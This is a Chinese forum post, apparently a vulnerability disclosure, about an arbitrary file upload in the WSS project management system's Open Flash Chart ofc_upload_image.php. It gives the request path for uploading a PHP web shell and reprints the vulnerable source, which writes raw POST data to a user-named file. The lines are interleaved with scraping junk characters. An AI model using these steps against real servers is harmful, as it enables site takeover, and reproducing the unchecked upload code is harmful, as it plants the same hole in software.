WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
& R. S' ?3 r& z+ a 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

! c6 V: O; U& C  C% p利用：
( G, l/ S( H7 M6 j& i/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

8 ?& I2 _# V5 x/ P1 EPost任意数据
3 X& r) V/ i% g+ U% A2 F7 `保存位置http://localhost/chart/tmp-upload-images/hfy.php
% N+ K0 ^+ ~6 Z. n9 P! t; m
( N1 n" b& {+ h1 n  u* h) |1 w
; U( |# H+ i1 W2 p* l9 }) n最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

; A9 ]; s! @( b0 |# V//
( ?5 @  k; |$ b// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
2 ?( R" i( [( l" m  L6 {
/*

1 Q( Y' H- B- z& S% w1 n% xprint_r( $_GET );
print_r( $_POST );
print_r( $_FILES );
' v8 g0 S0 w( A% Y. K3 H. N, A' P
: _; [2 p( i4 Zprint_r( $GLOBALS );
  L+ [, E* V" _& U7 ^( N' hprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
% }6 v7 M2 k  F$ F" x
2 Y3 Y; b  e8 E" Y; T3 |- }*/
5 l! p7 }) u' B% O$ G+ a5 J// default path for the image to be stored //
1 @: `4 W% o3 s) a# T6 Q+ \% @$default_path = '../tmp-upload-images/';
: ?6 l5 @6 G  r- C4 v  c7 ]9 j
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
  E2 b- w, R$ i3 M( ~' g: ]
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
. J. R( o, g. z5 [& w
' f* C& t+ Q! w7 f4 a/ H3 Eecho 'Saving your image to: '. $destination;
// print_r( $_POST );
8 Q' n/ P/ I: p  n& x$ P2 z// print_r( $_SERVER );
* X: L$ i7 G1 ~// echo $HTTP_RAW_POST_DATA;
9 v! ?! i% R3 _& K/ B
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
5 \) \0 i. [" \- N1 C
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

/ R8 I' c7 ?, R//
// LOOK:
) D( O* M! j7 G; L, H) Y//
8 S0 G- H' |$ ?; e& P9 bexit();
//
// PHP5:
//
8 O) \6 x* M% f- E+ r, F

// default path for the image to be stored //
% _& Z1 h& r1 t7 X) Q$default_path = 'tmp-upload-images/';

! g. Q7 O$ T  z# R4 Vif (!file_exists($default_path)) mkdir($default_path, 0777, true);
! i- o7 N' w" H' ]# v# ^9 ~
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
& f* \" T& R1 ~* D. n0 @) ?3 K! W, Gif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
- d4 I1 W! ]& B6 ?% }2 d    echo "FILE UPLOAD FAILED";
# s% F/ W! ]1 g6 v, @4 O' A- ~}


& C) Z8 m! M6 h2 x1 |1 |?>
. G% E# |+ [0 U  r" g% h" V" L
# [9 N5 x$ G3 E' D% W
% k1 s  u, `3 N6 X# L
8 ^  |& r) O; Y2 a" H( M+ z

$ m- M  q! r+ v% T+ e0 w
' ?& y6 v2 _+ B, r7 F修复方案：
2 K4 y* J% g9 T, d3 P这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
  Z/ n8 O8 Z$ D/ A

% C2 J% d% Q7 g" x0 z& n